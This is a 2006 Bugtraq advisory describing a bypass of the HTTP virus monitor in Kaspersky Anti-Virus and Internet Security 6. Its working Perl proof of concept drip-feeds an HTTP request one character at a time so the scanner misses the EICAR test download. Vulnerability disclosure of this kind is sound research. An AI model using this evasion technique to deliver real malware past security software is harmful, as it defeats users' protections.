bugtraq - Kaspersky antivirus 6: HTTP monitor bypassing

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Message-ID: <20060522200946.12093.qmail@securityfocus.com>
Date: 22 May 2006 20:09:46 -0000
From: john@...-sam.to
To: bugtraq@...urityfocus.com
Subject: Kaspersky antivirus 6: HTTP monitor bypassing


Kaspersky antivirus 6
Kaspersky internet security 6

www.kaspersky.com

Vulnerable Systems: KAV6, KIS6 

Detail:
The vulnerability is caused due to HTTP parsing errors in the HTTP monitor (Kaspersky Web-antivirus).
Any mailicious software on local computer can bypass HTTP virus monitor. 

Solution:
There is no known solution.

Exploit code:

This perl script could be run with ActiveState Perl 5.8:

use IO::Socket::INET;
use strict;

my( $h_srv, $h_port, $h_url ) = ( 'www.eicar.com', 'http(80)',
                                  'http://www.eicar.com/download/eicar.com' );

syswrite STDOUT, "connecting to $h_srv:$h_port (for $h_url)\n";

my $s = IO::Socket::INET->new( PeerAddr => $h_srv,
                               PeerPort => $h_port,
                               Proto    => 'tcp' );
die "socket: $!" unless $s;

sendthem( $s,
          "GET $h_url HTTP/1.1",
          "Host: $h_srv",
          ""
    );
my $doc = read_body( $s, read_headers( $s ) );
syswrite STDOUT,
    'document is <'.$doc.'> len='.length($doc)."\n";

sub sendthem {
    my $s = shift;
    my $c = 0;
    foreach( @_ ) {
        my @a = split //, $_;
        ++$c;
        syswrite STDOUT, "query $c: ";
        foreach( @a ) {
            sendone( $s, $_ );
        }
        sendone( $s, "\r" );
        sendone( $s, "\n" );
    }
}

sub sendone {
    my( $s, $v ) = @_;
    $s->syswrite( $v );
    syswrite STDOUT, $v;
# !!! comment next line to have monitoring working ;)
    select( undef, undef, undef, 0.300 );
}

sub read_headers {
    my( $s ) = @_;
    my( $c, $cl ) = ( 0, 0 );
    for( ;; ) {
        my $l = read_line( $s );
        ++$c;
        syswrite STDOUT, "header $c: $l";
        syswrite STDOUT, "\r\n";
        last if not $l and $c;
        $cl = $1 if $l =~ /^Content-Length:\s+(\d+)/;
    }
    $cl;
}

sub read_line {
    my( $s ) = @_;
    my $str = '';
    for( ;; ) {
        my $v = '';
        my $r = $s->sysread( $v, 1 );
        die 'EOF reading headers!' unless $r;
        last if $v eq "\n";
        next if $v eq "\r";
        $str .= $v;
    }
    return $str;
}

sub read_body {
    my( $s, $cl ) = @_;
    my( $str, $cli ) = ( '', $cl );
    syswrite STDOUT, "reading body <content-length: $cli> ...\n"; 
    for( ;; ) {
        my $v = '';
        my $r = $s->sysread( $v, 1 );
        last unless $r;
        $str .= $v;
        --$cl if $cli;
        last if not $cl and $cli;
    }
    return $str;
}